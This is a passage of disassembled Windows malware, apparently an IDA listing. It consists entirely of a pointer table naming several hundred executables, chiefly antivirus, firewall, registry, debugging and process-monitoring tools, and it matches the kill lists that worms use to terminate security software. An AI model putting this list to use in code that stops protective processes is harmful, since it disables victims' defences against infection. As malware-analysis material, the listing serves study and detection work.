		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe_0 ; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSvshost32_exe ; "SVSHOST32.EXE"
		dd offset aUpd32_exe	; "UPD32.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
		dd offset aVsched_exe	; "VSCHED.EXE"
		dd offset aVsecomr_exe	; "VSECOMR.EXE"
		dd offset aVshwin32_exe	; "VSHWIN32.EXE"
		dd offset aVsisetup_exe	; "VSISETUP.EXE"
		dd offset aVsmain_exe	; "VSMAIN.EXE"
		dd offset aVsmon_exe	; "VSMON.EXE"
		dd offset aVsstat_exe	; "VSSTAT.EXE"
		dd offset aVswin9xe_exe	; "VSWIN9XE.EXE"
		dd offset aVswinntse_exe ; "VSWINNTSE.EXE"
		dd offset aVswinperse_exe ; "VSWINPERSE.EXE"
		dd offset aW32dsm89_exe	; "W32DSM89.EXE"
		dd offset aW9x_exe	; "W9X.EXE"
		dd offset aWatchdog_exe	; "WATCHDOG.EXE"
		dd offset aWebdav_exe	; "WEBDAV.EXE"
		dd offset aWebscanx_exe	; "WEBSCANX.EXE"
		dd offset aWebtrap_exe	; "WEBTRAP.EXE"
		dd offset aWfindv32_exe	; "WFINDV32.EXE"
		dd offset aWgfe95_exe	; "WGFE95.EXE"
		dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE"
		dd offset aWimmun32_exe	; "WIMMUN32.EXE"
		dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin32us_exe	; "WIN32US.EXE"
		dd offset aWinactive_exe ; "WINACTIVE.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWininetd_exe	; "WININETD.EXE"
		dd offset aWininit_exe	; "WININIT.EXE"
		dd offset aWininitx_exe	; "WININITX.EXE"
